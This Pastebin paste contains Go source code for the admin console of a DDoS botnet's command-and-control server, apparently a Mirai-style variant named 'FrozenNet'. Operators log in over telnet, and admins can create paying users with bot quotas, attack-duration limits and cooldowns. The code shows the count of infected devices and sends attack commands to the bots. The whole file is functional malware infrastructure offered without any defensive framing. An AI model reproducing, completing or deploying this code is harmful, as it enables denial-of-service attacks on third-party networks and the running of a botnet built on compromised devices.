Advertisement
Guest User

Untitled

a guest
Dec 17th, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.84 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "io/ioutil"
  9. "strconv"
  10. )
  11.  
  12. type Admin struct {
  13. conn net.Conn
  14. }
  15.  
  16. func NewAdmin(conn net.Conn) *Admin {
  17. return &Admin{conn}
  18. }
  19.  
  20. func (this *Admin) Handle() {
  21. this.conn.Write([]byte("\033[?1049h"))
  22. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  23.  
  24. defer func() {
  25. this.conn.Write([]byte("\033[?1049l"))
  26. }()
  27.  
  28. headerb, err := ioutil.ReadFile("prompt.txt")
  29. if err != nil {
  30. return
  31. }
  32.  
  33. header := string(headerb)
  34. this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
  35.  
  36. // Get username
  37. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  38. this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
  39. username, err := this.ReadLine(false)
  40. if err != nil {
  41. return
  42. }
  43.  
  44. // Get password
  45. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  46. this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
  47. password, err := this.ReadLine(true)
  48. if err != nil {
  49. return
  50. }
  51.  
  52. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  53. this.conn.Write([]byte("\r\n"))
  54. spinBuf := []byte{'-', '\\', '|', '/'}
  55. for i := 0; i < 15; i++ {
  56. this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
  57. time.Sleep(time.Duration(300) * time.Millisecond)
  58. }
  59.  
  60. var loggedIn bool
  61. var userInfo AccountInfo
  62. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  63. this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
  64. this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
  65. buf := make([]byte, 1)
  66. this.conn.Read(buf)
  67. return
  68. }
  69.  
  70. this.conn.Write([]byte("\r\n\033[0m"))
  71. this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n"))
  72. time.Sleep(250 * time.Millisecond)
  73. this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n"))
  74. time.Sleep(500 * time.Millisecond)
  75. this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n"))
  76. time.Sleep(150 * time.Millisecond)
  77. this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n"))
  78. for i := 0; i < 4; i++ {
  79. time.Sleep(100 * time.Millisecond)
  80. this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1)))
  81. }
  82. this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n"))
  83. time.Sleep(1 * time.Second)
  84.  
  85. go func() {
  86. i := 0
  87. for {
  88. var BotCount int
  89. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  90. BotCount = userInfo.maxBots
  91. } else {
  92. BotCount = clientList.Count()
  93. }
  94.  
  95. time.Sleep(time.Second)
  96. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Devices Connected | %s\007", BotCount, username))); err != nil {
  97. this.conn.Close()
  98. break
  99. }
  100. i++
  101. if i % 60 == 0 {
  102. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  103. }
  104. }
  105. }()
  106.  
  107. this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n"))
  108. for {
  109. var botCatagory string
  110. var botCount int
  111. this.conn.Write([]byte("\033[32;1m" + username + "@FrozenNet# \033[0m"))
  112. cmd, err := this.ReadLine(false)
  113. if err != nil || cmd == "exit" || cmd == "quit" {
  114. return
  115. }
  116. if cmd == "" {
  117. continue
  118. }
  119. botCount = userInfo.maxBots
  120.  
  121. if userInfo.admin == 1 && cmd == "adduser" {
  122. this.conn.Write([]byte("Enter new username: "))
  123. new_un, err := this.ReadLine(false)
  124. if err != nil {
  125. return
  126. }
  127. this.conn.Write([]byte("Enter new password: "))
  128. new_pw, err := this.ReadLine(false)
  129. if err != nil {
  130. return
  131. }
  132. this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  133. max_bots_str, err := this.ReadLine(false)
  134. if err != nil {
  135. return
  136. }
  137. max_bots, err := strconv.Atoi(max_bots_str)
  138. if err != nil {
  139. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  140. continue
  141. }
  142. this.conn.Write([]byte("Max attack duration (-1 for none): "))
  143. duration_str, err := this.ReadLine(false)
  144. if err != nil {
  145. return
  146. }
  147. duration, err := strconv.Atoi(duration_str)
  148. if err != nil {
  149. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  150. continue
  151. }
  152. this.conn.Write([]byte("Cooldown time (0 for none): "))
  153. cooldown_str, err := this.ReadLine(false)
  154. if err != nil {
  155. return
  156. }
  157. cooldown, err := strconv.Atoi(cooldown_str)
  158. if err != nil {
  159. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  160. continue
  161. }
  162. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  163. confirm, err := this.ReadLine(false)
  164. if err != nil {
  165. return
  166. }
  167. if confirm != "y" {
  168. continue
  169. }
  170. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  171. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  172. } else {
  173. this.conn.Write([]byte("\033[32;1mClient added successfully, thank you admin!.\033[0m\r\n"))
  174. }
  175. continue
  176. }
  177. if userInfo.admin == 1 && cmd == "botcount" {
  178. m := clientList.Distribution()
  179. for k, v := range m {
  180. this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
  181. }
  182. continue
  183. }
  184. if cmd[0] == '-' {
  185. countSplit := strings.SplitN(cmd, " ", 2)
  186. count := countSplit[0][1:]
  187. botCount, err = strconv.Atoi(count)
  188. if err != nil {
  189. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  190. continue
  191. }
  192. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  193. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  194. continue
  195. }
  196. cmd = countSplit[1]
  197. }
  198. if userInfo.admin == 1 && cmd[0] == '@' {
  199. cataSplit := strings.SplitN(cmd, " ", 2)
  200. botCatagory = cataSplit[0][1:]
  201. cmd = cataSplit[1]
  202. }
  203.  
  204. atk, err := NewAttack(cmd, userInfo.admin)
  205. if err != nil {
  206. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  207. } else {
  208. buf, err := atk.Build()
  209. if err != nil {
  210. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  211. } else {
  212. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  213. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  214. } else if !database.ContainsWhitelistedTargets(atk) {
  215. clientList.QueueBuf(buf, botCount, botCatagory)
  216. } else {
  217. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  218. }
  219. }
  220. }
  221. }
  222. }
  223.  
  224. func (this *Admin) ReadLine(masked bool) (string, error) {
  225. buf := make([]byte, 1024)
  226. bufPos := 0
  227.  
  228. for {
  229. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  230. if err != nil || n != 1 {
  231. return "", err
  232. }
  233. if buf[bufPos] == '\xFF' {
  234. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  235. if err != nil || n != 2 {
  236. return "", err
  237. }
  238. bufPos--
  239. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  240. if bufPos > 0 {
  241. this.conn.Write([]byte(string(buf[bufPos])))
  242. bufPos--
  243. }
  244. bufPos--
  245. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  246. bufPos--
  247. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  248. this.conn.Write([]byte("\r\n"))
  249. return string(buf[:bufPos]), nil
  250. } else if buf[bufPos] == 0x03 {
  251. this.conn.Write([]byte("^C\r\n"))
  252. return "", nil
  253. } else {
  254. if buf[bufPos] == '\x1B' {
  255. buf[bufPos] = '^';
  256. this.conn.Write([]byte(string(buf[bufPos])))
  257. bufPos++;
  258. buf[bufPos] = '[';
  259. this.conn.Write([]byte(string(buf[bufPos])))
  260. } else if masked {
  261. this.conn.Write([]byte("*"))
  262. } else {
  263. this.conn.Write([]byte(string(buf[bufPos])))
  264. }
  265. }
  266. bufPos++
  267. }
  268. return string(buf), nil
  269. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement